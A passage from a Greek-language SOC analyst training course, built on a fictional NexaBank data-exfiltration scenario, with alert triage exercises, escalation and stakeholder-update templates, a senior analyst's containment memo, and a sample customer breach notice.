- Εξάγετε συμβάντα ελέγχου ταυτότητας και τείχους προστασίας από δεδομένα SIEM.
- Προσδιορίσετε δείκτες παραβίασης (IOC) από τα αρχεία καταγραφής.
- Ενημερώσετε το ticket του SOC σας με αποδεικτικά στοιχεία που βασίζονται στα αρχεία καταγραφής.
- Να αιτιολογήσετε εάν αυτή η ειδοποίηση πρέπει να αναφερθεί σε ανώτερο επίπεδο.

Φύλλο εργασίας ανάλυσης αρχείων καταγραφής – Εξαγωγή IOC

Αριθμός εισιτηρίου: _____

Ημερομηνία/ώρα συμβάντος: _____

Όνομα αναλυτή: _____

1. Πηγές καταγραφής που εξετάστηκαν

Επιλέξτε όλα όσα ισχύουν:

- Αρχεία καταγραφής ελέγχου ταυτότητας
- Αρχεία καταγραφής πρόσβασης σε αρχεία
- Αρχεία καταγραφής τείχους προστασίας
- Κυκλοφορία δικτύου (PCAP)
- Ειδοποιήσεις τερματικών/EDR
- Άλλα: _____

2. Καταχωρήσεις σημαντικών συμβάντων

Καταγράψτε ύποπτες ή σχετικές καταχωρήσεις αρχείου καταγραφής:

Χρονοσήμανση	Τύπος συμβάντος	Λεπτομέρειες	Γιατί είναι ύποπτο;
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

3. Εντοπισμένοι δείκτες παραβίασης (IOC)

Λίστα όλων των πιθανών IOC που εντοπίστηκαν στα αρχεία καταγραφής.

IOC	Πηγή καταγραφής	Λόγος ανησυχίας

4. Βαθμός εμπιστοσύνης αναλυτή

Πόσο σίγουρος είστε ότι αυτά τα συμβάντα υποδηλώνουν κακόβουλη δραστηριότητα;

- Χαμηλή – Πιθανώς αβλαβές, αλλά αξίζει να σημειωθεί.
- Μέτρια –Ύποπτο, απαιτεί παρακολούθηση.
- Υψηλή – Ισχυρές ενδείξεις παραβίασης.

5. Συνιστώμενη ενέργεια

Επιλέξτε μία από τις παρακάτω επιλογές:

- Απόρριψη – Δεν απαιτείται περαιτέρω δράση.
- Παρακολούθηση – Συνεχίστε τη συλλογή στοιχείων.
- Εσκαλάρετε – Ειδοποιήστε τον ανώτερο αναλυτή/την ομάδα IR.

Αιτιολόγηση:

Υπενθύμιση:
Επισυνάψτε αποσπάσματα από τις αρχικές καταχωρήσεις καταγραφής (αντιγραφή/επικόλληση ή στιγμιότυπο οθόνης) στο εισιτήριο SOC. Τα αποδεικτικά στοιχεία πρέπει πάντα να υποστηρίζουν την απόφασή σας.

2.3 Εμφάνιση πολλαπλών ειδοποιήσεων – Διαλογή σε δράση

Σενάριο

Είναι τώρα **2:50 π.μ.**, λίγα λεπτά μετά την ύποπτη σύνδεση του dbadmin και την εξερχόμενη δραστηριότητα FTP.
Ο πίνακας ελέγχου SIEM φωτίζεται ξαφνικά με **τρεις νέες ειδοποιήσεις**. Πρέπει να αποφασίσετε ποιες θα προτεραιοποιήσετε και αν συνδέονται μεταξύ τους.

Λαμβανόμενες ειδοποιήσεις

1. **Ειδοποίηση A – Ανίχνευση κακόβουλου λογισμικού**

- **Πηγή:** Προστασία τερματικών
- **Σύστημα:** Σταθμός εργασίας Τμήματος Οικονομικών (χρήστης: jane.smith)
- **Συμβάν:** Αντιστοίχιση υπογραφής κακόβουλου λογισμικού → Trojan.Generic.4721
- **Ληφθείσα ενέργεια:** Τεθεί σε καραντίνα, εν αναμονή ελέγχου από αναλυτή.

2. **Ειδοποίηση B – Πολλαπλές αποτυχημένες προσπάθειες σύνδεσης**

- **Πηγή:** Σύστημα πιστοποίησης
- **Σύστημα:** Πύλη VPN
- **Συμβάν:** 15 αποτυχημένες προσπάθειες σύνδεσης για τον λογαριασμό mark.lee μεταξύ 2:46–2:49 π.μ.
- **IP προέλευσης:** 192.0.2.57 (εγχώρια τοποθεσία).

3. **Ειδοποίηση C – Ύποπτη δικτυακή κίνηση**

- **Πηγή:** Τείχος προστασίας/IDS
- **Σύστημα:** Διακομιστής βάσης δεδομένων (HR-DB01)
- **Συμβάν:** Μεγάλη εξερχόμενη μεταφορά (100 MB) προς την εξωτερική IP 198.51.100.77 μέσω FTP.
- **Χρονοσήμανση:** 2:48 π.μ.

Η πρόκλησή σας: Διαλογή

Δεν έχουν όλες οι ειδοποιήσεις την ίδια βαρύτητα. Ως Junior SOC Analyst, η δουλειά σας είναι να **αξιολογήσετε τη σοβαρότητα και την επείγουσα ανάγκη**.

Σκεφτείτε:

- Ποια ειδοποίηση αντιπροσωπεύει τον **υψηλότερο κίνδυνο** για την NexaBank αυτή τη στιγμή;
- Ποια μπορεί να σχετίζεται με την **παραβίαση του dbadmin** που συνέβη νωρίτερα;
- Ποια μπορεί να είναι **ψευδώς θετικά** ή χαμηλότερης προτεραιότητας;

Άσκηση: Πίνακας προτεραιοτήτων

Κατατάξτε τις ειδοποιήσεις από **το 1 (υψηλότερη προτεραιότητα)** έως **το 3 (χαμηλότερη προτεραιότητα)** και εξηγήστε γιατί.

Ειδοποίηση	**Προτεραιότητα (1–3)**	**Αιτιολόγηση**
Ειδοποίηση Α – Ανίχνευση κακόβουλου λογισμικού	_____	
Ειδοποίηση Β – Αποτυχημένες προσπάθειες σύνδεσης	_____	
Ειδοποίηση Γ – Εξερχόμενο FTP	___	_____

Υπόδειξη: Ποια από αυτές αφορά ευαίσθητα δεδομένα που εξέρχονται από τα συστήματα της NexaBank;

Σημειώσεις αναλυτή

- **Ειδοποίηση Α (κακόβουλο λογισμικό):** Μπορεί να μην σχετίζεται με το περιστατικό dbadmin, αλλά ενδέχεται να υποδηλώνει ξεχωριστή μόλυνση.
- **Ειδοποίηση Β (Αποτυχημένες συνδέσεις):** Μπορεί να είναι απόπειρα brute force, αλλά χωρίς επιτυχία (ακόμα).
- **Ειδοποίηση C (Μεταφορά FTP):** Συνδέεται άμεσα με την προηγούμενη ύποπτη σύνδεση και **την** πιθανή **διαρροή δεδομένων**.

Ενημέρωση εισιτηρίου SOC

- Καταγράψτε και τις τρεις ειδοποιήσεις.
- Καταγράψτε **τη σειρά προτεραιότητας** και την αιτιολόγησή σας.

- Αναφέρετε αμέσως την **ειδοποίηση με την υψηλότερη προτεραιότητα** σε έναν Ανώτερο Αναλυτή.

Σημείο ελέγχου: Ενότητα 2.3

Πριν προχωρήσετε στην **Ενότητα 2.4: Εσκαλάρισμα προτεραιοτήτων**, βεβαιωθείτε ότι μπορείτε:

- Κατατάξετε τις τρεις νέες ειδοποιήσεις με βάση τον επιχειρηματικό αντίκτυπο.
- Προσδιορίσετε ποια ειδοποίηση συνδέεται πιο σαφώς με τη διαρροή δεδομένων.
- Καταγράψτε τις αποφάσεις σας σχετικά με την ταξινόμηση στο SOC Ticket.
- Να προετοιμαστείτε για την αναφορά της κρίσιμης ειδοποίησης σε ανώτερα στελέχη.

Πρότυπο σημειώματος αναφοράς – SOC προς ανώτερο αναλυτή

Αριθμός εισιτηρίου: _____

Ημερομηνία/ώρα αναφοράς: _____

Αναφορά από (Αναλυτής): _____

Προς τον οποίο αναφέρθηκε (Ανώτερος Αναλυτής): _____

1. Περίληψη του ζητήματος

Παρέχετε μια συνοπτική περιγραφή 2–3 προτάσεων της ύποπτης δραστηριότητας.
Παράδειγμα:
«Εντοπίστηκε ασυνήθιστη σύνδεση για τον λογαριασμό με δικαιώματα dbadmin από την εξωτερική IP 203.0.113.41 στις 2:41 π.μ. Ακολούθησε πρόσβαση σε αρχεία στον διακομιστή βάσης δεδομένων HR και στη συνέχεια εξερχόμενη μεταφορά μέσω FTP στην εξωτερική IP 198.51.100.77. Υπάρχει υποψία ότι βρίσκεται σε εξέλιξη διαρροή δεδομένων.»

2. Δείκτες παραβίασης (IOC)

Αναφέρετε όλους τους γνωστούς δείκτες παραβίασης που σχετίζονται με αυτή την αναφορά.

IOC	Πηγή	Σημειώσεις
_____	Αρχείο καταγραφής ελέγχου ταυτότητας	_____
_____	Αρχείο καταγραφής τείχους προστασίας	_
_____	Συσχέτιση SIEM	_____

3. Σχετικές ειδοποιήσεις

Προσδιορίστε όλες τις σχετικές ειδοποιήσεις και την προτεραιότητα ταξινόμησής τους.

Ειδοποίηση	Προτεραιότητα (1–3)	Σημειώσεις
_____	___	_____
_____	___	_____

Ειδοποίηση **Προτεραιότητα (1–3) Σημειώσεις**

_____ ___ _____

4. Συνιστώμενη ενέργεια

Επιλέξτε μία ή περισσότερες:

- Άμεση απενεργοποίηση λογαριασμού (dbadmin)
- Απομόνωση του διακομιστή βάσης δεδομένων HR
- Αποκλεισμός εξερχόμενης σύνδεσης FTP (IP 198.51.100.77)
- Συνέχιση παρακολούθησης σχετικών λογαριασμών (π.χ. αποτυχημένες συνδέσεις VPN)
- Άλλο: _____

5. Αποδεικτικά στοιχεία

Επισυνάψτε ή συνδέστε σχετικά αποσπάσματα αρχείων καταγραφής, στιγμιότυπα οθόνης ή καταγραφές πακέτων.

- Απόσπασμα από το αρχείο καταγραφής ελέγχου ταυτότητας
- Αρχείο καταγραφής εξερχόμενης μεταφοράς τείχους προστασίας
- Στιγμιότυπο οθόνης SIEM (ενεργοποίηση κανόνα συσχέτισης)

6. Κατάσταση αναφοράς

- **Κατάσταση αιτήματος:** [ ] Εσκαλώθηκε – Σε αναμονή για έλεγχο από ανώτερο αναλυτή
- **Επίπεδο προτεραιότητας:** [ ] Υψηλό [ ] Κρίσιμο

Υπενθύμιση: Οι σημειώσεις αναφοράς πρέπει να είναι **σύντομες, σαφείς και επαγγελματικές**. Ο ανώτερος αναλυτής πρέπει να είναι σε θέση να λάβει απόφαση σε λιγότερο από **2 λεπτά** από τη στιγμή που θα διαβάσει τη σημείωσή σας.

2.4 Προτεραιότητα Εσκαλάρισμα – Λήψη απόφασης

Σύνοψη σεναρίου

Έχετε καταγράψει την ύποπτη **σύνδεση του dbadmin** (Ενότητα 2.1), έχετε εξετάσει τα υποστηρικτικά αρχεία καταγραφής (Ενότητα 2.2) και έχετε αξιολογήσει τρεις επιπλέον ειδοποιήσεις (Ενότητα 2.3). Η επόμενη εργασία σας είναι να **ιεραρχήσετε αυτές τις ειδοποιήσεις** και να αποφασίσετε ποιες απαιτούν **άμεση αναφορά** σε ανώτερο αναλυτή.

Βήμα 1: Επανεξέταση των ειδοποιήσεων

- **Ειδοποίηση Α (Ανίχνευση κακόβουλου λογισμικού):** Μεμονωμένη μόλυνση σταθμού εργασίας, σε καραντίνα.
- **Ειδοποίηση Β (Αποτυχημένες συνδέσεις):** Πολλαπλές αποτυχημένες προσπάθειες, χωρίς επιτυχή πρόσβαση μέχρι στιγμής.
- **Ειδοποίηση Γ (Εξερχόμενη μεταφορά FTP):** Λογαριασμός με δικαιώματα μεταφέρει δεδομένα HR εξωτερικά.

Ποια από αυτές είναι **κρίσιμη για την επιχείρηση αυτή τη στιγμή**;

Βήμα 2: Εφαρμογή κριτηρίων αναφοράς σε ανώτερο επίπεδο

Οι ομάδες SOC συνήθως προβαίνουν σε κλιμάκωση όταν:

1. **Τα ευαίσθητα δεδομένα βρίσκονται σε κίνδυνο**
2. **Εμπλέκονται λογαριασμοί με προνόμια**
3. **Υπάρχουν ενδείξεις διαρροής ή πλευρικής μετακίνησης**
4. **Η πολιτική απαιτεί άμεση ανάσχεση**

Με βάση τα παραπάνω, **η Ειδοποίηση C (Εξερχόμενη μεταφορά FTP)** αποτελεί την **κορυφαία προτεραιότητα**.

Βήμα 3: Σύνταξη σημειώματος κλιμάκωσης

Τώρα, χρησιμοποιήστε το **Πρότυπο Σημειώματος Εσκαλάτωσης** για να εσκαλάσετε επίσημα αυτήν την ειδοποίηση. Το σημείωμά σας πρέπει:

- Να συνοψίζει με σαφήνεια την ύποπτη δραστηριότητα.

- Να παραθέτει τα IOC και τα υποστηρικτικά αρχεία καταγραφής.
- Να προτείνει άμεσα μέτρα περιορισμού.

Άσκηση: Συντάξτε τη σημείωσή σας για την αναφορά

Συμπληρώστε τα κενά παρακάτω:

Περίληψη του προβλήματος:

_____

IOC που εντοπίστηκαν:

1. _____
2. _____
3. _____

Συνιστώμενη ενέργεια:

- Απενεργοποίηση λογαριασμού dbadmin
- Απομόνωση του HR-DB01 (διακομιστής βάσης δεδομένων)
- Αποκλεισμός εξερχόμενης σύνδεσης FTP
- Άλλα: _____

Βήμα 4: Υποβολή και καταγραφή

- Υποβάλετε τη σημείωση αναφοράς σας στον **Ανώτερο Αναλυτή SOC**.
- Επισυνάψτε την στο **εισιτήριο SOC** για λόγους ιχνηλασιμότητας.
- Αλλάξτε την κατάσταση του εισιτηρίου σε **«Εσκαλούμενο – Σε αναμονή ελέγχου**».

Σημείο ελέγχου: Ενότητα 2.4

Πριν προχωρήσετε στην **Ενότητα 2.5: Απάντηση Ανώτερου Αναλυτή**, βεβαιωθείτε ότι:

- Έχετε ιεραρχήσει σωστά τις ειδοποιήσεις (διαρροή μέσω FTP = κορυφαία προτεραιότητα).
- Έχετε συντάξει μια επαγγελματική σημείωση αναφοράς χρησιμοποιώντας το πρότυπο.
- Έχετε ενημερώσει το εισιτήριο SOC με την κατάσταση αναφοράς.
- Κατανοήσατε **γιατί τα κριτήρια αναφοράς είναι σημαντικά** στην αντιμετώπιση περιστατικών.

2.5 Αντίδραση ανώτερου αναλυτή – Περιορισμός εν κινήσει

Σενάριο

Έχετε αναφερθεί στον Ανώτερο Αναλυτή SOC σχετικά με την ύποπτη **σύνδεση dbadmin + εξερχόμενη μεταφορά FTP**. Μέσα σε λίγα λεπτά, εξετάζει τη σημείωσή σας για την αναφορά και απαντά με οδηγίες περιορισμού.

Σημείωμα ανώτερου αναλυτή – Ενέργειες

ανατροφοδότησης Προς: Ομάδα νεότερων

αναλυτών SOC
Από: Ανώτερος αναλυτής SOC – Jordan Rivera
Θέμα: Εξέταση αναφοράς – Περιστατικό λογαριασμού dbadmin
Ημερομηνία/Ώρα: 27/09/2025, 03:05 π.μ.

1. Εξέταση της αναφοράς σας

- Καλή δουλειά στην καταγραφή των βασικών IOC (σύνδεση από ξένη IP, πρόσβαση σε δεδομένα HR, εξερχόμενη μεταφορά FTP).
- Η αναφορά έγινε έγκαιρα και ήταν δικαιολογημένη — ακριβώς το είδος του συμβάντος που απαιτεί άμεση αντιμετώπιση.
- Βελτίωση: Να είστε συγκεκριμένοι στις προτεινόμενες ενέργειες — συμπεριλάβετε ακριβή ονόματα κεντρικών υπολογιστών/IP, όχι μόνο «διακομιστής βάσης δεδομένων». Η ακρίβεια επιταχύνει τον περιορισμό.

2. Άμεσες ενέργειες περιορισμού (Ανατέθηκε στην ομάδα SOC)

1. Απενεργοποιήστε αμέσως τον λογαριασμό dbadmin.
2. Απομονώστε τον επηρεαζόμενο κεντρικό υπολογιστή **HR-DB01** από το εταιρικό δίκτυο.
3. Αποκλείστε την εξερχόμενη κίνηση προς το 198.51.100.77 (διακομιστής FTP) στο τείχος προστασίας.
4. Διατηρήστε τα αρχεία καταγραφής SIEM και τις καταγραφές του τείχους προστασίας ως αποδεικτικά στοιχεία.

3. Επόμενα βήματα (Ανατεθεί σε εσάς)

- Συνεχίστε την παρακολούθηση για τυχόν πλευρική κίνηση από άλλους λογαριασμούς με δικαιώματα.
- Ξεκινήστε τη συλλογή αρχείων καταγραφής από **την πύλη VPN** και **την προστασία τερματικών** για συσχέτιση.
- Καταγράψτε κάθε ενέργεια περιορισμού με χρονικές σημάνσεις στο SOC Ticket.

4. Σημείωση ανάπτυξης αναλυτή

Αυτή ήταν μια σοβαρή κλιμάκωση. Να θυμάστε:

- Η περιοριστική δράση έρχεται πρώτη.
- Η τεκμηρίωση πρέπει να είναι λεπτομερής — κάθε ενέργεια ενδέχεται να εξεταστεί αργότερα από τη διοίκηση ή το νομικό τμήμα.
- Μην υποθέτετε ποτέ — παρέχετε πάντα αποδεικτικά στοιχεία μαζί με τις συστάσεις

σας. Συνεχίστε έτσι.

Άσκηση: Τεκμηρίωση της απάντησης του ανώτερου αναλυτή

Ενημερώστε το εισιτήριο SOC σας με:

- Τις ενέργειες που πραγματοποιήθηκαν (απενεργοποίηση λογαριασμού, απομόνωση κεντρικού υπολογιστή, αποκλεισμός εξερχόμενης κίνησης).
- Χρονοσήμανση κάθε ενέργειας.
- Αναφορά στο σημείωμα του ανώτερου αναλυτή.

Σημείο ελέγχου: Ενότητα 2.5

Πριν προχωρήσετε στην **Ενότητα 2.6: Αναφορά σε ενδιαφερόμενα μέρη**, βεβαιωθείτε ότι:

- Έχετε εξετάσει τα σχόλια του Ανώτερου Αναλυτή.
- Έχετε κατανοήσει τις προτεραιότητες περιορισμού.
- Ενημερώσατε το SOC Ticket με τις ενέργειες και τις χρονικές σημάνσεις.
- Σημειώσατε τους τομείς που χρήζουν βελτίωσης στη διαδικασία αναφοράς σας.

Ενημέρωση ενδιαφερόμενων μερών σχετικά με την αναφορά – Ενημέρωση για το συμβάν

Ημερομηνία/Ώρα: _____

Συντάχθηκε από: _____

Διανομή: [ ] Τμήμα Πληροφορικής [ ] Τμήμα Ανθρώπινου Δυναμικού [ ] Νομικό Τμήμα [ ] Εκτελεστική Ομάδα

1. Περίληψη συμβάντος (απλή γλώσσα)

Περιγράψτε τι συνέβη με απλά, μη τεχνικά όρους. Παράδειγμα:
«Ένας λογαριασμός με δικαιώματα (dbadmin) χρησιμοποιήθηκε εκτός των κανονικών ωρών εργασίας για να συνδεθεί στη βάση δεδομένων Ανθρώπινου Δυναμικού της NexaBank. Λίγο αργότερα, έγινε πρόσβαση σε ευαίσθητα δεδομένα υπαλλήλων και εντοπίστηκε μεταφορά μεγάλου αρχείου σε μη εξουσιοδοτημένο εξωτερικό διακομιστή.»

2. Τρέχουσα κατάσταση

- **Μέτρα περιορισμού που ελήφθησαν:**
    - Ο λογαριασμός dbadmin απενεργοποιήθηκε
    - Ο διακομιστής της βάσης δεδομένων HR απομονώθηκε
    - Αποκλεισμός εξερχόμενης σύνδεσης προς ύποπτη IP
- **Κατάσταση απειλής:** [ ] Περιορισμένη [ ] Σε εξέλιξη έρευνα [ ] Παρακολούθηση

3. Επιπτώσεις στην επιχείρηση

Εξηγήστε πώς το περιστατικό θα μπορούσε να επηρεάσει κάθε ομάδα ενδιαφερομένων.

- **Λειτουργίες IT:** Η απομόνωση του συστήματος ενδέχεται να επηρεάσει τη διαθεσιμότητα της βάσης δεδομένων HR.
- **Ανθρώπινο δυναμικό:** Ενδέχεται να έχει γίνει πρόσβαση στα προσωπικά δεδομένα των εργαζομένων.
- **Νομικά/Συμμόρφωση:** Πιθανές υποχρεώσεις αναφοράς παραβίασης δεδομένων.
- **Διοικητικά στελέχη:** Διακυβεύεται η φήμη της εταιρείας και η εμπιστοσύνη των πελατών.

4. Επόμενα βήματα (ανά ενδιαφερόμενο μέρος)

- **Λειτουργίες IT:** Βοήθεια στην απομόνωση συστημάτων και την προετοιμασία αντιγράφων ασφαλείας.
- **Ανθρώπινο Δυναμικό:** Προετοιμασία για την ενημέρωση των επηρεαζόμενων εργαζομένων σε περίπτωση επιβεβαίωσης της παραβίασης.
- **Νομικό τμήμα:** Αξιολόγηση των κανονιστικών απαιτήσεων αναφοράς (π.χ. GDPR, HIPAA).
- **Στελέχη:** Προετοιμάστε στρατηγική εσωτερικής/εξωτερικής επικοινωνίας.

5. Κύριοι υπεύθυνοι επικοινωνίας

- **Υπεύθυνος SOC:** _____
- **Διευθυντής IT Ops:** _____
- **Εκπρόσωπος HR:** _____
- **Νομικός σύμβουλος:** _____

Υπενθύμιση για τους αναλυτές:
Αυτή η ενημέρωση πρέπει να **αποφεύγει την ορολογία**. Οι ενδιαφερόμενοι ενδιαφέρονται για **τον αντίκτυπο, τις ενέργειες και τα επόμενα βήματα**, όχι για ακατέργαστες διευθύνσεις IP ή δεδομένα καταγραφής. Να είναι **σύντομη, σαφής και επικεντρωμένη στις επιχειρήσεις**.

2.6 Εσκαλάρισμα προς τους ενδιαφερόμενους – Πέρα από το SOC

Σενάριο

Στις **3:20 π.μ.**, μετά από ενέργειες περιορισμού, ο Ανώτερος Αναλυτής SOC σας δίνει οδηγίες να προετοιμάσετε μια ενημέρωση για τους ενδιαφερόμενους.
Αυτό σημαίνει να συντάξετε μια **μη τεχνική ενημέρωση** που να εξηγεί:

- Τι συνέβη
- Ποιες ενέργειες πραγματοποιήθηκαν
- Πώς μπορεί να επηρεάσει τις διάφορες ομάδες
- Τι πρέπει να κάνουν στη συνέχεια

Αυτό το βήμα είναι κρίσιμο: μια κακώς επικοινωνημένη ενημέρωση μπορεί να προκαλέσει σύγχυση ή πανικό στους ενδιαφερόμενους, ενώ μια σαφής ενημέρωση εξασφαλίζει γρήγορη και συντονισμένη αντίδραση.

Βήμα 1: Προσδιορίστε το κοινό σας

Τα ενδιαφερόμενα μέρη που πρέπει να ενημερωθούν περιλαμβάνουν:

- **Τμήμα Πληροφορικής** → Βοήθεια με την απομόνωση, τα αντίγραφα ασφαλείας, την εγκατάσταση ενημερώσεων.
- **Ανθρώπινο δυναμικό** → Ενδέχεται να χρειαστεί να προετοιμάσει ειδοποιήσεις για τους επηρεαζόμενους υπαλλήλους.
- **Νομικό τμήμα/Τμήμα συμμόρφωσης** → Αξιολόγηση των υποχρεώσεων αναφοράς παραβιάσεων.
- **Στελέχη** → Χρειάζονται μια συνοπτική περίληψη υψηλού επιπέδου για να καθοδηγήσουν τις επιχειρηματικές αποφάσεις.

Βήμα 2: Μεταφράστε τα τεχνικά στοιχεία σε επιχειρηματικό αντίκτυπο

Αντί για τεχνική ορολογία (π.χ. «ξένη IP» ή «διαρροή μέσω FTP»), χρησιμοποιήστε γλώσσα φιλική προς τις επιχειρήσεις:

- «Μη εξουσιοδοτημένη πρόσβαση από περιοχές εκτός Βόρειας Αμερικής».
- «Ευαίσθητα δεδομένα υπαλλήλων ενδέχεται να έχουν μεταφερθεί εξωτερικά.»
- «Η βάση δεδομένων του τμήματος Ανθρώπινου Δυναμικού είναι προσωρινά εκτός λειτουργίας για λόγους έρευνας.»

Βήμα 3: Συντάξτε μια ενημέρωση για τους ενδιαφερόμενους

Χρησιμοποιώντας το **πρότυπο ενημέρωσης των ενδιαφερόμενων μερών**, η ενημέρωσή σας μπορεί να έχει την εξής μορφή:

Ενημέρωση για το περιστατικό – SOC προς τα

ενδιαφερόμενα μέρη Ημερομηνία/ώρα: 27/09/2025, 03:20

π.μ.
Συντάχθηκε από: Νεαρός αναλυτής SOC
Διανομή: Τμήμα Πληροφορικής, Ανθρώπινο Δυναμικό, Νομικό Τμήμα, Διοικητική Ομάδα

1. Περίληψη συμβάντος (σε απλή γλώσσα)

Χρησιμοποιήθηκε ένας λογαριασμός με δικαιώματα (dbadmin) για σύνδεση στη βάση δεδομένων του τμήματος Ανθρώπινου Δυναμικού εκτός των κανονικών ωρών εργασίας. Πραγματοποιήθηκε πρόσβαση σε ευαίσθητα αρχεία του τμήματος Ανθρώπινου Δυναμικού και εντοπίστηκε μια μεγάλη μεταφορά δεδομένων σε έναν μη εξουσιοδοτημένο εξωτερικό διακομιστή.

2. Τρέχουσα κατάσταση

- Ο λογαριασμός dbadmin απενεργοποιήθηκε
- Ο διακομιστής της βάσης δεδομένων HR απομονώθηκε από το δίκτυο
- Η εξερχόμενη σύνδεση με εξωτερική IP έχει αποκλειστεί
- Τα αρχεία καταγραφής διατηρήθηκαν ως αποδεικτικά στοιχεία
  Κατάσταση απειλής: Περιορισμένη (η έρευνα βρίσκεται σε εξέλιξη)

3. Επιπτώσεις στην επιχείρηση

- **Λειτουργίες IT:** Η βάση δεδομένων HR είναι εκτός σύνδεσης κατά τη διάρκεια της απομόνωσης.
- **Ανθρώπινο δυναμικό:** Ενδέχεται να έχει γίνει πρόσβαση στα αρχεία των εργαζομένων.
- **Νομικά/Συμμόρφωση:** Ενδέχεται να απαιτηθεί αναφορά παραβίασης.
- **Διοικητικά στελέχη:** Κίνδυνος για τη φήμη και την εμπιστοσύνη των πελατών.

4. Επόμενα βήματα

- **Λειτουργίες IT:** Υποστήριξη απομόνωσης διακομιστή και προετοιμασία καθαρού αντιγράφου ασφαλείας.
- **HR:** Προετοιμάστε σχέδιο ενημέρωσης των εργαζομένων σε περίπτωση επιβεβαίωσης της παραβίασης.
- **Νομικό τμήμα:** Έναρξη αξιολόγησης για την αναφορά της παραβίασης.

- **Διευθυντικά στελέχη:** Προετοιμάστε στρατηγική εξωτερικής επικοινωνίας.

5. Κύριοι υπεύθυνοι

- Υπεύθυνος SOC – Jordan Rivera
- Διευθυντής IT Ops – [Όνομα]
- Εκπρόσωπος HR – [Όνομα]
- Νομικός σύμβουλος – [Όνομα]

Βήμα 4: Παρουσίαση της ενημέρωσης

Στην πράξη, αυτή η ενημέρωση μπορεί να είναι:

- Να κοινοποιείται μέσω **ασφαλούς ηλεκτρονικού ταχυδρομείου** ή συστήματος έκδοσης εισιτηρίων
- Να παραδοθεί **μέσω τηλεδιάσκεψης ή** σε **συνάντηση στο κέντρο επιχειρήσεων**
- Να ενημερώνεται **κάθε 30–60 λεπτά,** καθώς εξελίσσεται η κατάσταση

Άσκηση: Συντάξτε τη δική σας ενημέρωση

Συμπληρώστε το πρότυπο ενημέρωσης των ενδιαφερομένων με:

1. Τη δική σας διατύπωση της περίληψης του συμβάντος (αποφύγετε την ορολογία).
2. Τουλάχιστον **δύο επιπτώσεις στην επιχείρηση** που αφορούν συγκεκριμένα την NexaBank.
3. Σαφή, εφαρμόσιμα επόμενα βήματα για κάθε ομάδα ενδιαφερομένων.

Σημείο ελέγχου: Ενότητα 2.6

Πριν προχωρήσετε στην **Ενότητα 2.7: Προετοιμασία επικοινωνίας με τους πελάτες**, βεβαιωθείτε ότι:

- Έχετε προσδιορίσει ποιοι ενδιαφερόμενοι χρειάζονται ενημερώσεις.
- Μεταφράσατε τις τεχνικές λεπτομέρειες σε επιχειρηματικές επιπτώσεις.
- Έχετε συντάξει μια ενημέρωση για τους ενδιαφερόμενους χρησιμοποιώντας το πρότυπο.
- Κατανοήσατε τη σημασία της σαφήνειας και της μη τεχνικής γλώσσας.

2.7 Προετοιμασία επικοινωνίας με τους πελάτες – Προστασία της εμπιστοσύνης

Σενάριο

Στις **4:00 π.μ.**, τα στελέχη συγκαλούν επείγουσα συνάντηση.
Το SOC έχει επιβεβαιώσει **ύποπτη πρόσβαση σε δεδομένα του τμήματος Ανθρώπινου Δυναμικού** και **πιθανή διαρροή**. Τώρα προκύπτει το ερώτημα:
«Πρέπει να ενημερώσουμε τους πελάτες μας — και αν ναι, τι θα πούμε και πότε;»

Εδώ είναι που η κυβερνοασφάλεια μετατρέπεται από τεχνική αντίδραση σε **επικοινωνία κρίσης**.

Βήμα 1: Γιατί η επικοινωνία με τους πελάτες είναι σημαντική

- Οι πελάτες αναμένουν **διαφάνεια** όταν τα δεδομένα τους ενδέχεται να διατρέχουν κίνδυνο.
- Οι ρυθμιστικές αρχές ενδέχεται **να απαιτούν γνωστοποίηση** εντός συγκεκριμένων χρονικών ορίων (π.χ. GDPR, κρατικοί νόμοι περί παραβίασης δεδομένων).
- Η κακή διαχείριση της επικοινωνίας μπορεί να βλάψει την εμπιστοσύνη περισσότερο από την ίδια την παραβίαση.

Βήμα 2: Τι να επικοινωνήσετε (και τι όχι)

Κατά την προετοιμασία της εξωτερικής επικοινωνίας:
ΠΡΕΠΕΙ να περιλαμβάνετε

- Αναγνώριση του συμβάντος.
- Τι είδους δεδομένα *ενδέχεται* να έχουν επηρεαστεί.
- Ποιες ενέργειες λαμβάνονται για την ασφάλεια των συστημάτων.
- Τα μέτρα που πρέπει να λάβουν οι πελάτες (π.χ. αλλαγή κωδικών πρόσβασης, παρακολούθηση λογαριασμών).

ΜΗΝ συμπεριλάβετε

- Πολύ τεχνικές λεπτομέρειες (διευθύνσεις IP, αρχεία καταγραφής FTP).
- Εικασίες σχετικά με τους επιτιθέμενους.
- Κατηγορίες ή ανεπιβεβαίωτες θεωρίες.

Βήμα 3: Σύνταξη ειδοποίησης προς τους πελάτες

(Παράδειγμα) Θέμα: Σημαντική ειδοποίηση ασφαλείας από

την NexaBank

Κείμενο:
Η NexaBank εντόπισε ασυνήθιστη δραστηριότητα που αφορά ένα από τα εσωτερικά μας συστήματα. Για λόγους προληπτικής προσοχής, διερευνούμε πιθανή μη εξουσιοδοτημένη πρόσβαση σε δεδομένα υπαλλήλων.

Προς το παρόν, έχουμε:

- Περιορίσει την ύποπτη δραστηριότητα.
- Απομονώσαμε τα συστήματα που επηρεάστηκαν.
- Ξεκινήσει πλήρη έρευνα με εσωτερικούς και εξωτερικούς

εμπειρογνώμονες. Ενώ η έρευνα συνεχίζεται, συνιστούμε στους πελάτες:

- Ελέγχουν τακτικά τη δραστηριότητα του λογαριασμού τους.
- Αλλάξουν τους κωδικούς πρόσβασης των λογαριασμών τους.
- Ενεργοποιήσουν την επαλήθευση δύο παραγόντων, εάν δεν είναι ήδη ενεργοποιημένη.

Θα παρέχουμε ενημερώσεις μόλις υπάρξουν περισσότερες πληροφορίες.
Η εμπιστοσύνη σας είναι προτεραιότητά μας και δεσμευόμαστε για πλήρη διαφάνεια κατά την επίλυση αυτού του ζητήματος.

— Ομάδα Ασφάλειας της NexaBank

Βήμα 4: Άσκηση – Συντάξτε τη δική σας δήλωση προς τους πελάτες

Χρησιμοποιώντας την παραπάνω δομή, συντάξτε ένα **σύντομο προσχέδιο ειδοποίησης** που:

1. Αναφέρει σαφώς ότι ένα περιστατικό βρίσκεται υπό έρευνα.
2. Παρέχει τουλάχιστον **δύο συγκεκριμένες ενέργειες για τους πελάτες**.
3. Διαβεβαιώνει τους πελάτες ότι η NexaBank αντιμετωπίζει το ζήτημα με σοβαρότητα.

Βήμα 5: Σημείωση αναφοράς για τα στελέχη

Πριν δημοσιεύσει οτιδήποτε, η ομάδα SOC πρέπει να **συνοψίσει τους κινδύνους για τα στελέχη**:

